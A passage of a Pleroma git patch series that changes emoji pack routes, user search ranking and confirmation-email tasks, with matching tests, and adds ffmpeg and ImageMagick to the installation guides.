patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank3", new_shortcode: "blank4", new_filename: "dir_2/blank_3.png" @@ -347,7 +347,7 @@ test "update with empty shortcode", %{admin_conn: admin_conn} do } = admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank", new_filename: "dir_2/blank_3.png" }) -- cgit v1.2.3 From 727a0556a996a4b990366c6f7ad45f78b0b34c4a Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 24 Sep 2020 09:47:23 +0300 Subject: fix --- test/emoji_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/emoji_test.exs b/test/emoji_test.exs index b36047578..1dd3c58c6 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -3,7 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.EmojiTest do - use ExUnit.Case, async: true + use ExUnit.Case alias Pleroma.Emoji describe "is_unicode_emoji?/1" do -- cgit v1.2.3 From 3f201475e099aecf0c77ca5396b114433ea58224 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 24 Sep 2020 09:54:10 +0300 Subject: changelog entry --- CHANGELOG.md | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 46962b6ff..af267face 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Changed +- **Breaking:** Pleroma API: packs and files routes changed. - Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. - Renamed `:timeout` in `pools` namespace to `:recv_timeout`, old name is deprecated. - The `discoverable` field in the `User` struct will now add a NOINDEX metatag to profile pages when false. @@ -14,10 +15,18 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). ### Added + - Media preview proxy (requires media proxy be enabled; see `:media_preview_proxy` config for more details). -- Pleroma API: Importing the mutes users from CSV files. - Experimental websocket-based federation between Pleroma instances. + +
+ API Changes + +- Pleroma API: Importing the mutes users from CSV files. - Admin API: Importing emoji from a zip file +- Pleroma API: Pagination for remote/local packs and emoji. + +
### Removed @@ -120,7 +129,6 @@ switched to a new configuration mechanism, however it was not officially removed - Mastodon API (legacy): Allow query parameters for `/api/v1/domain_blocks`, e.g. `/api/v1/domain_blocks?domain=badposters.zone` - Mastodon API: Make notifications about statuses from muted users and threads read automatically - Pleroma API: `/api/pleroma/captcha` responses now include `seconds_valid` with an integer value. -- Pleroma API: Pagination for remote/local packs and emoji. -- cgit v1.2.3 From aa1f97a5b6904aec38621c9af79a81b5a7b62e30 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 24 Sep 2020 10:46:09 +0300 Subject: fix for test on mac --- test/utils_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/utils_test.exs b/test/utils_test.exs index 3a730d545..460f7e0b5 100644 --- a/test/utils_test.exs +++ b/test/utils_test.exs @@ -8,7 +8,7 @@ defmodule Pleroma.UtilsTest do describe "tmp_dir/1" do test "returns unique temporary directory" do {:ok, path} = Pleroma.Utils.tmp_dir("emoji") - assert path =~ ~r/\/tmp\/emoji-(.*)-#{:os.getpid()}-(.*)/ + assert path =~ ~r/\/emoji-(.*)-#{:os.getpid()}-(.*)/ File.rm_rf(path) end end -- cgit v1.2.3 From 165961f56dfa20d27869f53777798a8d4ce572f9 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 24 Sep 2020 12:00:39 +0300 Subject: don't run in async mode --- test/emoji_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/emoji_test.exs b/test/emoji_test.exs index b36047578..1dd3c58c6 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -3,7 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.EmojiTest do - use ExUnit.Case, async: true + use ExUnit.Case alias Pleroma.Emoji describe "is_unicode_emoji?/1" do -- cgit v1.2.3 From 35d62a4a5602913de3a91582aa03d5af9ac7a5b0 Mon Sep 17 00:00:00 2001 From: lain Date: Thu, 24 Sep 2020 11:12:03 +0200 Subject: CommonAPI test: Add test for polls --- test/web/common_api/common_api_test.exs | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index 2eab64e8b..e34f5a49b 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -29,6 +29,23 @@ defmodule Pleroma.Web.CommonAPITest do setup do: clear_config([:instance, :limit]) setup do: clear_config([:instance, :max_pinned_statuses]) + describe "posting polls" do + test "it posts a poll" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "who is the best", + poll: %{expires_in: 600, options: ["reimu", "marisa"]} + }) + + object = Object.normalize(activity) + + assert object.data["type"] == "Question" + assert object.data["oneOf"] |> length() == 2 + end + end + describe "blocking" do setup do blocker = insert(:user) -- cgit v1.2.3 From d0078bc40406939cb584847c90b00aad006812e4 Mon Sep 17 00:00:00 2001 From: lain Date: Thu, 24 Sep 2020 15:54:55 +0200 Subject: User Search: Boost resolved results and exact ap_id matches. --- lib/pleroma/user/search.ex | 45 +++++++++++++++++++++++++++++++++++++++------ test/user_search_test.exs | 19 +++++++++++++++++++ 2 files changed, 58 insertions(+), 6 deletions(-) diff --git a/lib/pleroma/user/search.ex b/lib/pleroma/user/search.ex index b8c648672..408295e0c 100644 --- a/lib/pleroma/user/search.ex +++ b/lib/pleroma/user/search.ex @@ -19,11 +19,21 @@ def search(query_string, opts \\ []) do query_string = format_query(query_string) - maybe_resolve(resolve, for_user, query_string) + # If this returns anything, it should bounce to the top + maybe_resolved = maybe_resolve(resolve, for_user, query_string) + maybe_ap_id_match = User.get_cached_by_ap_id(query_string) + + top_user_ids = + case {maybe_resolved, maybe_ap_id_match} do + {{:ok, %User{} = user}, %User{} = other_user} -> [user.id, other_user.id] + {{:ok, %User{} = user}, _} -> [user.id] + {_, %User{} = user} -> [user.id] + _ -> [] + end results = query_string - |> search_query(for_user, following) + |> search_query(for_user, following, top_user_ids) |> Pagination.fetch_paginated(%{"offset" => offset, "limit" => result_limit}, :offset) results @@ -47,7 +57,7 @@ defp format_query(query_string) do end end - defp search_query(query_string, for_user, following) do + defp search_query(query_string, for_user, following, top_user_ids) do for_user |> base_query(following) |> filter_blocked_user(for_user) @@ -56,13 +66,20 @@ defp search_query(query_string, for_user, following) do |> filter_internal_users() |> filter_blocked_domains(for_user) |> fts_search(query_string) + |> select_top_users(top_user_ids) |> trigram_rank(query_string) - |> boost_search_rank(for_user) + |> boost_search_rank(for_user, top_user_ids) |> subquery() |> order_by(desc: :search_rank) |> maybe_restrict_local(for_user) end + defp select_top_users(query, top_user_ids) do + from(u in query, + or_where: u.id in ^top_user_ids + ) + end + defp fts_search(query, query_string) do query_string = to_tsquery(query_string) @@ -180,7 +197,7 @@ defp restrict_local(q), do: where(q, [u], u.local == true) defp local_domain, do: Pleroma.Config.get([Pleroma.Web.Endpoint, :url, :host]) - defp boost_search_rank(query, %User{} = for_user) do + defp boost_search_rank(query, %User{} = for_user, top_user_ids) do friends_ids = User.get_friends_ids(for_user) followers_ids = User.get_followers_ids(for_user) @@ -192,6 +209,7 @@ defp boost_search_rank(query, %User{} = for_user) do CASE WHEN (?) THEN (?) * 1.5 WHEN (?) THEN (?) * 1.3 WHEN (?) THEN (?) * 1.1 + WHEN (?) THEN 9001 ELSE (?) END """, u.id in ^friends_ids and u.id in ^followers_ids, @@ -200,11 +218,26 @@ defp boost_search_rank(query, %User{} = for_user) do u.search_rank, u.id in ^followers_ids, u.search_rank, + u.id in ^top_user_ids, u.search_rank ) } ) end - defp boost_search_rank(query, _for_user), do: query + defp boost_search_rank(query, _for_user, top_user_ids) do + from(u in subquery(query), + select_merge: %{ + search_rank: + fragment( + """ + CASE WHEN (?) THEN 9001 + ELSE (?) END + """, + u.id in ^top_user_ids, + u.search_rank + ) + } + ) + end end diff --git a/test/user_search_test.exs b/test/user_search_test.exs index 8529ce6db..68fda1c53 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -17,6 +17,25 @@ defmodule Pleroma.UserSearchTest do describe "User.search" do setup do: clear_config([:instance, :limit_to_local_content]) + test "returns a resolved user as the first result" do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/users/lain", resolve: true) + + assert first_user.id == user.id + end + + test "returns a user with matching ap_id as the first result" do + user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/users/lain") + + assert first_user.id == user.id + end + test "excludes invisible users from results" do user = insert(:user, %{nickname: "john t1000"}) insert(:user, %{invisible: true, nickname: "john t800"}) -- cgit v1.2.3 From defca4a8b1e5baa03b308e77bf2386f135b2584d Mon Sep 17 00:00:00 2001 From: lain Date: Thu, 24 Sep 2020 15:56:17 +0200 Subject: Changelog: Add info about user search. --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5f5d01af3..1a1de99a7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Changed +- Search: Users are now findable by their urls. - Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. - Renamed `:timeout` in `pools` namespace to `:recv_timeout`, old name is deprecated. - The `discoverable` field in the `User` struct will now add a NOINDEX metatag to profile pages when false. -- cgit v1.2.3 From 7cd662f18c202ee2b099305e990d15a01370d6f9 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Thu, 24 Sep 2020 18:02:50 +0300 Subject: Added documentation on installation of `ffmpeg` and `ImageMagick` dependencies. --- CHANGELOG.md | 3 ++- docs/installation/alpine_linux_en.md | 9 +++++++++ docs/installation/arch_linux_en.md | 4 +++- docs/installation/debian_based_en.md | 4 +++- docs/installation/debian_based_jp.md | 4 +++- docs/installation/freebsd_en.md | 2 +- docs/installation/gentoo_en.md | 4 +++- docs/installation/netbsd_en.md | 2 +- docs/installation/openbsd_en.md | 5 +++-- docs/installation/openbsd_fi.md | 2 +- docs/installation/otp_en.md | 6 ++++-- 11 files changed, 33 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5f5d01af3..3e5f8a504 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,9 +12,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - The `discoverable` field in the `User` struct will now add a NOINDEX metatag to profile pages when false. - Users with the `discoverable` field set to false will not show up in searches. - Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). +- **Breaking:** Introduced dependencies on `ffmpeg` and `ImageMagick` software packages. Please refer to documentation in `docs/installation`. ### Added -- Media preview proxy (requires media proxy be enabled; see `:media_preview_proxy` config for more details). +- Media preview proxy (requires `ffmpeg` and `ImageMagick` be installed and media proxy be enabled; see `:media_preview_proxy` config for more details). - Pleroma API: Importing the mutes users from CSV files. - Experimental websocket-based federation between Pleroma instances. - Admin API: Importing emoji from a zip file diff --git a/docs/installation/alpine_linux_en.md b/docs/installation/alpine_linux_en.md index a5683f18c..0b9f5cdae 100644 --- a/docs/installation/alpine_linux_en.md +++ b/docs/installation/alpine_linux_en.md @@ -13,6 +13,8 @@ It assumes that you have administrative rights, either as root or a user with [s * `erlang-parsetools` * `erlang-xmerl` * `git` +* `ffmpeg` +* `ImageMagick` * Development Tools * `cmake` @@ -56,6 +58,13 @@ sudo apk add erlang erlang-runtime-tools erlang-xmerl elixir ```shell sudo apk add erlang-eldap ``` + +### Install ffmpeg and ImageMagick + +```shell +sudo apk add ffmpeg imagemagick +``` + ### Install PostgreSQL * Install Postgresql server: diff --git a/docs/installation/arch_linux_en.md b/docs/installation/arch_linux_en.md index 7fb69dd60..38bb82432 100644 --- a/docs/installation/arch_linux_en.md +++ b/docs/installation/arch_linux_en.md @@ -10,6 +10,8 @@ This guide will assume that you have administrative rights, either as root or a * `git` * `base-devel` * `cmake` +* `ffmpeg` +* `ImageMagick` #### Optional packages used in this guide @@ -27,7 +29,7 @@ sudo pacman -Syu * Install some of the above mentioned programs: ```shell -sudo pacman -S git base-devel elixir cmake +sudo pacman -S git base-devel elixir cmake ffmpeg imagemagick ``` ### Install PostgreSQL diff --git a/docs/installation/debian_based_en.md b/docs/installation/debian_based_en.md index 60c2f47e5..30ee64c01 100644 --- a/docs/installation/debian_based_en.md +++ b/docs/installation/debian_based_en.md @@ -13,6 +13,8 @@ This guide will assume you are on Debian Stretch. This guide should also work wi * `git` * `build-essential` * `cmake` +* `ffmpeg` +* `ImageMagick` #### Optional packages used in this guide @@ -31,7 +33,7 @@ sudo apt full-upgrade * Install some of the above mentioned programs: ```shell -sudo apt install git build-essential postgresql postgresql-contrib cmake +sudo apt install git build-essential postgresql postgresql-contrib cmake ffmpeg imagemagick ``` ### Install Elixir and Erlang diff --git a/docs/installation/debian_based_jp.md b/docs/installation/debian_based_jp.md index c2dd840d3..219f40525 100644 --- a/docs/installation/debian_based_jp.md +++ b/docs/installation/debian_based_jp.md @@ -17,6 +17,8 @@ - `git` - `build-essential` - `cmake` +- `ffmpeg` +- `ImageMagick` #### このガイドで利用している追加パッケージ @@ -33,7 +35,7 @@ sudo apt full-upgrade * 上記に挙げたパッケージをインストールしておきます。 ``` -sudo apt install git build-essential postgresql postgresql-contrib cmake +sudo apt install git build-essential postgresql postgresql-contrib cmake ffmpeg imagemagick ``` diff --git a/docs/installation/freebsd_en.md b/docs/installation/freebsd_en.md index ca2575d9b..01b410a46 100644 --- a/docs/installation/freebsd_en.md +++ b/docs/installation/freebsd_en.md @@ -7,7 +7,7 @@ This document was written for FreeBSD 12.1, but should be work on future release This assumes the target system has `pkg(8)`. ``` -# pkg install elixir postgresql12-server postgresql12-client postgresql12-contrib git-lite sudo nginx gmake acme.sh cmake +# pkg install elixir postgresql12-server postgresql12-client postgresql12-contrib git-lite sudo nginx gmake acme.sh cmake ffmpeg imagemagick ``` Copy the rc.d scripts to the right directory: diff --git a/docs/installation/gentoo_en.md b/docs/installation/gentoo_en.md index 5a676380c..9a8b54ece 100644 --- a/docs/installation/gentoo_en.md +++ b/docs/installation/gentoo_en.md @@ -29,6 +29,8 @@ Gentoo quite pointedly does not come with a cron daemon installed, and as such i * `dev-lang/elixir` * `dev-vcs/git` * `dev-util/cmake` +* `media-video/ffmpeg` +* `media-gfx/imagemagick` #### Optional ebuilds used in this guide @@ -47,7 +49,7 @@ Gentoo quite pointedly does not come with a cron daemon installed, and as such i * Emerge all required the required and suggested software in one go: ```shell - # emerge --ask dev-db/postgresql dev-lang/elixir dev-vcs/git www-servers/nginx app-crypt/certbot app-crypt/certbot-nginx dev-util/cmake + # emerge --ask dev-db/postgresql dev-lang/elixir dev-vcs/git www-servers/nginx app-crypt/certbot app-crypt/certbot-nginx dev-util/cmake media-video/ffmpeg media-gfx/imagemagick ``` If you would not like to install the optional packages, remove them from this line. diff --git a/docs/installation/netbsd_en.md b/docs/installation/netbsd_en.md index 6ad0de2f6..8cf2e4682 100644 --- a/docs/installation/netbsd_en.md +++ b/docs/installation/netbsd_en.md @@ -10,7 +10,7 @@ Pleroma uses. The `mksh` shell is needed to run the Elixir `mix` script. -`# pkgin install acmesh elixir git-base git-docs mksh nginx postgresql11-server postgresql11-client postgresql11-contrib sudo` +`# pkgin install acmesh elixir git-base git-docs mksh nginx postgresql11-server postgresql11-client postgresql11-contrib sudo ffmpeg4 ImageMagick` You can also build these packages using pkgsrc: ``` diff --git a/docs/installation/openbsd_en.md b/docs/installation/openbsd_en.md index eee452845..277e5ec43 100644 --- a/docs/installation/openbsd_en.md +++ b/docs/installation/openbsd_en.md @@ -10,16 +10,17 @@ The following packages need to be installed: * elixir * gmake - * ImageMagick * git * postgresql-server * postgresql-contrib * cmake + * ffmpeg + * ImageMagick To install them, run the following command (with doas or as root): ``` -pkg_add elixir gmake ImageMagick git postgresql-server postgresql-contrib cmake +pkg_add elixir gmake git postgresql-server postgresql-contrib cmake ffmpeg ImageMagick ``` Pleroma requires a reverse proxy, OpenBSD has relayd in base (and is used in this guide) and packages/ports are available for nginx (www/nginx) and apache (www/apache-httpd). Independently of the reverse proxy, [acme-client(1)](https://man.openbsd.org/acme-client) can be used to get a certificate from Let's Encrypt. diff --git a/docs/installation/openbsd_fi.md b/docs/installation/openbsd_fi.md index b5b5056a9..2cb03e73e 100644 --- a/docs/installation/openbsd_fi.md +++ b/docs/installation/openbsd_fi.md @@ -16,7 +16,7 @@ Matrix-kanava #freenode_#pleroma:matrix.org ovat hyviä paikkoja löytää apua Asenna tarvittava ohjelmisto: -`# pkg_add git elixir gmake postgresql-server-10.3 postgresql-contrib-10.3 cmake` +`# pkg_add git elixir gmake postgresql-server-10.3 postgresql-contrib-10.3 cmake ffmpeg ImageMagick` Luo postgresql-tietokanta: diff --git a/docs/installation/otp_en.md b/docs/installation/otp_en.md index b7e3bb2ac..8fdf6b5b5 100644 --- a/docs/installation/otp_en.md +++ b/docs/installation/otp_en.md @@ -27,17 +27,19 @@ Other than things bundled in the OTP release Pleroma depends on: * PostgreSQL (also utilizes extensions in postgresql-contrib) * nginx (could be swapped with another reverse proxy but this guide covers only it) * certbot (for Let's Encrypt certificates, could be swapped with another ACME client, but this guide covers only it) +* ffmpeg (needed for media preview proxy) +* ImageMagick (needed for media preview proxy) === "Alpine" ``` echo "http://nl.alpinelinux.org/alpine/latest-stable/community" >> /etc/apk/repositories apk update - apk add curl unzip ncurses postgresql postgresql-contrib nginx certbot + apk add curl unzip ncurses postgresql postgresql-contrib nginx certbot ffmpeg imagemagick ``` === "Debian/Ubuntu" ``` - apt install curl unzip libncurses5 postgresql postgresql-contrib nginx certbot + apt install curl unzip libncurses5 postgresql postgresql-contrib nginx certbot ffmpeg imagemagick ``` ## Setup -- cgit v1.2.3 From 935ef21b0285975b08037827a33f32bfcbbff951 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 24 Sep 2020 16:47:34 -0500 Subject: Use the import --- lib/mix/tasks/pleroma/email.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/mix/tasks/pleroma/email.ex b/lib/mix/tasks/pleroma/email.ex index 1f543241a..0e4c87598 100644 --- a/lib/mix/tasks/pleroma/email.ex +++ b/lib/mix/tasks/pleroma/email.ex @@ -6,7 +6,7 @@ defmodule Mix.Tasks.Pleroma.Email do @moduledoc File.read!("docs/administration/CLI_tasks/email.md") def run(["test" | args]) do - Mix.Pleroma.start_pleroma() + start_pleroma() {options, [], []} = OptionParser.parse( -- cgit v1.2.3 From e33360fdb958708661a5bda415b9f06b5e1290d5 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 24 Sep 2020 18:23:47 -0500 Subject: Cannot use batches with User.try_send_confirmation_email/1 --- lib/mix/tasks/pleroma/email.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/mix/tasks/pleroma/email.ex b/lib/mix/tasks/pleroma/email.ex index 0e4c87598..9e989ed46 100644 --- a/lib/mix/tasks/pleroma/email.ex +++ b/lib/mix/tasks/pleroma/email.ex @@ -31,7 +31,7 @@ def run(["resend_confirmation_emails"]) do confirmation_pending: true, invisible: false }) - |> Pleroma.Repo.chunk_stream(500, :batches) + |> Pleroma.Repo.chunk_stream(500) |> Stream.each(&Pleroma.User.try_send_confirmation_email(&1)) |> Stream.run() end -- cgit v1.2.3 From 3bf3db39f5932601798db8fd34523abc1b60dea7 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 24 Sep 2020 18:24:44 -0500 Subject: Validate emails are sent to the appropriate unconfirmed actors --- test/tasks/email_test.exs | 69 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) diff --git a/test/tasks/email_test.exs b/test/tasks/email_test.exs index c3af7ef68..5393e3573 100644 --- a/test/tasks/email_test.exs +++ b/test/tasks/email_test.exs @@ -6,6 +6,8 @@ defmodule Mix.Tasks.Pleroma.EmailTest do alias Pleroma.Config alias Pleroma.Tests.ObanHelpers + import Pleroma.Factory + setup_all do Mix.shell(Mix.Shell.Process) @@ -17,6 +19,7 @@ defmodule Mix.Tasks.Pleroma.EmailTest do end setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) + setup do: clear_config([:instance, :account_activation_required], true) describe "pleroma.email test" do test "Sends test email with no given address" do @@ -50,5 +53,71 @@ test "Sends test email with given address" do html_body: ~r/a test email was requested./i ) end + + test "Sends confirmation emails" do + local_user1 = + insert(:user, %{ + confirmation_pending: true, + confirmation_token: "mytoken", + deactivated: false, + email: "local1@pleroma.com", + local: true + }) + + local_user2 = + insert(:user, %{ + confirmation_pending: true, + confirmation_token: "mytoken", + deactivated: false, + email: "local2@pleroma.com", + local: true + }) + + :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) + + ObanHelpers.perform_all() + + assert_email_sent(to: {local_user1.name, local_user1.email}) + assert_email_sent(to: {local_user2.name, local_user2.email}) + end + + test "Does not send confirmation email to inappropriate users" do + # confirmed user + insert(:user, %{ + confirmation_pending: false, + confirmation_token: "mytoken", + deactivated: false, + email: "confirmed@pleroma.com", + local: true + }) + + # remote user + insert(:user, %{ + deactivated: false, + email: "remote@not-pleroma.com", + local: false + }) + + # deactivated user = + insert(:user, %{ + deactivated: true, + email: "deactivated@pleroma.com", + local: false + }) + + # invisible user + insert(:user, %{ + deactivated: false, + email: "invisible@pleroma.com", + local: true, + invisible: true + }) + + :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) + + ObanHelpers.perform_all() + + refute_email_sent() + end end end -- cgit v1.2.3 From 81faf540b30d0ecf75779e7a5c16f42b7218cec8 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 24 Sep 2020 18:35:20 -0500 Subject: Add some user feedback --- lib/mix/tasks/pleroma/email.ex | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/mix/tasks/pleroma/email.ex b/lib/mix/tasks/pleroma/email.ex index 9e989ed46..9972cb988 100644 --- a/lib/mix/tasks/pleroma/email.ex +++ b/lib/mix/tasks/pleroma/email.ex @@ -25,6 +25,8 @@ def run(["test" | args]) do def run(["resend_confirmation_emails"]) do start_pleroma() + shell_info("Sending emails to all unconfirmed users") + Pleroma.User.Query.build(%{ local: true, deactivated: false, -- cgit v1.2.3 From a8c17ea25a79491328345f5834397eb6821a77f1 Mon Sep 17 00:00:00 2001 From: lain Date: Fri, 25 Sep 2020 08:46:14 +0200 Subject: User Search: Also find user by uri --- lib/pleroma/user/search.ex | 35 ++++++++++++++++++++++++++++------- test/user_search_test.exs | 15 +++++++++++++++ 2 files changed, 43 insertions(+), 7 deletions(-) diff --git a/lib/pleroma/user/search.ex b/lib/pleroma/user/search.ex index 408295e0c..d747bfa52 100644 --- a/lib/pleroma/user/search.ex +++ b/lib/pleroma/user/search.ex @@ -5,6 +5,7 @@ defmodule Pleroma.User.Search do alias Pleroma.Pagination alias Pleroma.User + alias Pleroma.EctoType.ActivityPub.ObjectValidators.Uri, as: UriType import Ecto.Query @limit 20 @@ -21,15 +22,12 @@ def search(query_string, opts \\ []) do # If this returns anything, it should bounce to the top maybe_resolved = maybe_resolve(resolve, for_user, query_string) - maybe_ap_id_match = User.get_cached_by_ap_id(query_string) top_user_ids = - case {maybe_resolved, maybe_ap_id_match} do - {{:ok, %User{} = user}, %User{} = other_user} -> [user.id, other_user.id] - {{:ok, %User{} = user}, _} -> [user.id] - {_, %User{} = user} -> [user.id] - _ -> [] - end + [] + |> maybe_add_resolved(maybe_resolved) + |> maybe_add_ap_id_match(query_string) + |> maybe_add_uri_match(query_string) results = query_string @@ -39,6 +37,29 @@ def search(query_string, opts \\ []) do results end + defp maybe_add_resolved(list, {:ok, %User{} = user}) do + [user.id | list] + end + + defp maybe_add_resolved(list, _), do: list + + defp maybe_add_ap_id_match(list, query) do + if user = User.get_cached_by_ap_id(query) do + [user.id | list] + else + list + end + end + + defp maybe_add_uri_match(list, query) do + with {:ok, query} <- UriType.cast(query), + %User{} = user <- Pleroma.Repo.get_by(User, uri: query) do + [user.id | list] + else + _ -> list + end + end + defp format_query(query_string) do # Strip the beginning @ off if there is a query query_string = String.trim_leading(query_string, "@") diff --git a/test/user_search_test.exs b/test/user_search_test.exs index 68fda1c53..cc14e9741 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -36,6 +36,21 @@ test "returns a user with matching ap_id as the first result" do assert first_user.id == user.id end + test "returns a user with matching uri as the first result" do + user = + insert(:user, %{ + nickname: "no_relation", + ap_id: "https://lain.com/users/lain", + uri: "https://lain.com/@lain" + }) + + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/@lain") + + assert first_user.id == user.id + end + test "excludes invisible users from results" do user = insert(:user, %{nickname: "john t1000"}) insert(:user, %{invisible: true, nickname: "john t800"}) -- cgit v1.2.3 From 1e0f3f8514a42b088ed68ece5f9e339ad829e242 Mon Sep 17 00:00:00 2001 From: lain Date: Fri, 25 Sep 2020 08:56:58 +0200 Subject: User search: Make uri matches case insensitive. --- .../migrations/20200925065249_make_user_ids_ci.exs | 19 +++++++++++++++++++ test/user_search_test.exs | 2 +- 2 files changed, 20 insertions(+), 1 deletion(-) create mode 100644 priv/repo/migrations/20200925065249_make_user_ids_ci.exs diff --git a/priv/repo/migrations/20200925065249_make_user_ids_ci.exs b/priv/repo/migrations/20200925065249_make_user_ids_ci.exs new file mode 100644 index 000000000..b7305f137 --- /dev/null +++ b/priv/repo/migrations/20200925065249_make_user_ids_ci.exs @@ -0,0 +1,19 @@ +defmodule Pleroma.Repo.Migrations.MakeUserIdsCI do + use Ecto.Migration + + def up do + alter table(:users) do + modify(:uri, :citext) + end + + create(unique_index(:users, :uri)) + end + + def don do + drop(unique_index(:users, :uri)) + + alter table(:users) do + modify(:uri, :text) + end + end +end diff --git a/test/user_search_test.exs b/test/user_search_test.exs index cc14e9741..b99a77b57 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -41,7 +41,7 @@ test "returns a user with matching uri as the first result" do insert(:user, %{ nickname: "no_relation", ap_id: "https://lain.com/users/lain", - uri: "https://lain.com/@lain" + uri: "https://lain.com/@Lain" }) _user = insert(:user, %{nickname: "com_user"}) -- cgit v1.2.3 From 05b5241314182c5aab2907e27d4c5f46d7617f56 Mon Sep 17 00:00:00 2001 From: lain Date: Fri, 25 Sep 2020 09:12:48 +0200 Subject: Linter fixes --- lib/pleroma/user/search.ex | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/user/search.ex b/lib/pleroma/user/search.ex index d747bfa52..03f2c552f 100644 --- a/lib/pleroma/user/search.ex +++ b/lib/pleroma/user/search.ex @@ -3,9 +3,10 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.User.Search do + alias Pleroma.EctoType.ActivityPub.ObjectValidators.Uri, as: UriType alias Pleroma.Pagination alias Pleroma.User - alias Pleroma.EctoType.ActivityPub.ObjectValidators.Uri, as: UriType + import Ecto.Query @limit 20 -- cgit v1.2.3 From 8b84ca4901c378d734cd87ae3e4bf72c508a84bf Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 25 Sep 2020 10:37:59 -0500 Subject: Simplify the value comparison --- lib/mix/tasks/pleroma/user.ex | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/lib/mix/tasks/pleroma/user.ex b/lib/mix/tasks/pleroma/user.ex index d50205600..e06262804 100644 --- a/lib/mix/tasks/pleroma/user.ex +++ b/lib/mix/tasks/pleroma/user.ex @@ -455,11 +455,7 @@ defp set_locked(user, value) do end defp set_confirmed(user, value) do - {:ok, user} = - case value do - true -> User.need_confirmation(user, false) - false -> User.need_confirmation(user, true) - end + {:ok, user} = User.need_confirmation(user, !value) shell_info("Confirmation pending status of #{user.nickname}: #{user.confirmation_pending}") user -- cgit v1.2.3 From 4a30598b9eac9d231546078191ff91b933d63de3 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 25 Sep 2020 12:20:52 -0500 Subject: Config settings leak and break configdb migration tests when async --- test/config/deprecation_warnings_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index 28355d7eb..f81a7b580 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -1,5 +1,5 @@ defmodule Pleroma.Config.DeprecationWarningsTest do - use ExUnit.Case, async: true + use ExUnit.Case use Pleroma.Tests.Helpers import ExUnit.CaptureLog -- cgit v1.2.3 From 93b674b66da31964e838c8632ce8cdd7e722516a Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 25 Sep 2020 12:46:49 -0500 Subject: Fix test failures for NoOpPolicy describe/0 --- test/web/activity_pub/mrf/mrf_test.exs | 2 ++ 1 file 